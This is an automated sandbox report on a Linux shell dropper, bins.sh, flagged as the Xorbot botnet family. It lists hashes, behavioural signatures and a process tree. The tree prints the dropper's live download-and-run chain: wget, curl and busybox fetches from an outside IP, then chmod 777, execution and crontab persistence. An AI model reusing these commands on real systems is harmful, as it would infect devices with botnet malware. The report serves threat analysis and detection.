Analysis
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max time kernel
149s -
max time network
99s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
13/03/2025, 01:12
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
2d3354e4454c0aa1442c15ae4db570d7
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SHA1
fa41bc59a61d70fed29d83a9fadcaf5f29a0306c
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SHA256
a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf
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SHA512
95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09
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SSDEEP
192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7
Malware Config
Signatures
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resource yara_rule behavioral3/files/fstream-1.dat family_xorbot behavioral3/files/fstream-8.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 9 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 830 chmod 745 chmod 754 chmod 760 chmod 776 chmod 823 chmod 856 chmod 880 chmod 800 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX 824 bins.sh /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA 831 bins.sh /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q 858 bins.sh /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR 882 bins.sh -
Renames itself 1 IoCs
pid Process 832 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.5JzmId crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/13/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/78/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/709/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/839/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/851/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/864/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems crontab File opened for reading /proc/3/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/6/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/75/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/107/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/866/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/18/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/837/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/841/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/847/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/884/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/20/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/725/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/16/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/73/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/80/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/82/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/144/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/237/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/323/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/326/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/371/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/664/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/666/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/714/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/810/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/840/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/842/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/1/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/14/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/17/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/22/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/23/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/71/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/322/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/8/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/165/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/667/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/715/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/844/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/858/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/867/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/868/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/10/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/77/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/661/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/716/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/881/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/2/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/72/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/694/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/838/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA File opened for reading /proc/846/cmdline MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 796 busybox 802 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr 805 rm 784 wget 789 curl -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q busybox File opened for modification /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR busybox File opened for modification /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX busybox File opened for modification /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA wget File opened for modification /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA curl File opened for modification /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:717 -
/bin/rm/bin/rm bins.sh2⤵PID:720
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/usr/bin/wgetwget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:722
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/usr/bin/curlcurl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Reads runtime system information
PID:732
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:742
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/bin/chmodchmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- File and Directory Permissions Modification
PID:745
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/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:747
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/bin/rmrm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:748
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/usr/bin/wgetwget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:749
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/usr/bin/curlcurl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:752
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:753
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/bin/chmodchmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- File and Directory Permissions Modification
PID:754
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/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:755
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/bin/rmrm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:756
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/usr/bin/wgetwget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵PID:757
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/usr/bin/curlcurl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵PID:758
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵PID:759
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/bin/chmodchmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- File and Directory Permissions Modification
PID:760
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/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵PID:761
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/bin/rmrm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵PID:762
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/usr/bin/wgetwget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵PID:763
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/usr/bin/curlcurl -O http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- Reads runtime system information
PID:764
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵PID:773
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/bin/chmodchmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- File and Directory Permissions Modification
PID:776
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/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵PID:779
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/bin/rmrm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵PID:781
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/usr/bin/wgetwget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
PID:784
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/usr/bin/curlcurl -O http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:789
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
PID:796
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/bin/chmodchmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- File and Directory Permissions Modification
PID:800
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/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
PID:802
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/bin/rmrm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
PID:805
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/usr/bin/wgetwget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵PID:807
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/usr/bin/curlcurl -O http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵
- Reads runtime system information
PID:815
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵
- Writes file to tmp directory
PID:821
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/bin/chmodchmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵
- File and Directory Permissions Modification
PID:823
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/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵PID:824
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/bin/rmrm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵PID:826
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/usr/bin/wgetwget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA2⤵
- Writes file to tmp directory
PID:827
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/usr/bin/curlcurl -O http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:828
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA2⤵
- Writes file to tmp directory
PID:829
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/bin/chmodchmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA2⤵
- File and Directory Permissions Modification
PID:830
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/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA2⤵
- Renames itself
- Reads runtime system information
PID:831 -
/bin/shsh -c "crontab -l"3⤵PID:833
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/usr/bin/crontabcrontab -l4⤵PID:834
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/bin/shsh -c "crontab -"3⤵PID:835
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:836
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/bin/rmrm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA2⤵PID:838
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/usr/bin/wgetwget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q2⤵PID:841
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/usr/bin/curlcurl -O http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q2⤵PID:844
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q2⤵
- Writes file to tmp directory
PID:846
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/bin/chmodchmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q2⤵
- File and Directory Permissions Modification
PID:856
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/tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q2⤵PID:858
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/bin/rmrm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q2⤵PID:861
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/usr/bin/wgetwget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR2⤵PID:862
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/usr/bin/curlcurl -O http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR2⤵PID:865
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR2⤵
- Writes file to tmp directory
PID:868
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/bin/chmodchmod 777 wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR2⤵
- File and Directory Permissions Modification
PID:880
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/tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR./wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR2⤵PID:882
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/bin/rmrm wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR2⤵PID:883
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/usr/bin/wgetwget http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH752⤵PID:884
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/usr/bin/curlcurl -O http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH752⤵PID:885
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
210B
MD5a19ce7ee62086f2310e6b37f11a3fc8d
SHA1d03a3c3a75993cc5968ca7a7d95041cc09395894
SHA2565f864785d6a762a0cdb8c9a62500e64d03163603c3d48b3871c8d28041f4255b
SHA512313b1f9cfd80ec39f97b5920917cbddf5a22a848d04eb3c4b430a13de9d2fe98411ecf999628ae012f78800b9b6c9e452e9a1c6f4653f2924a5ec4bf9fd93166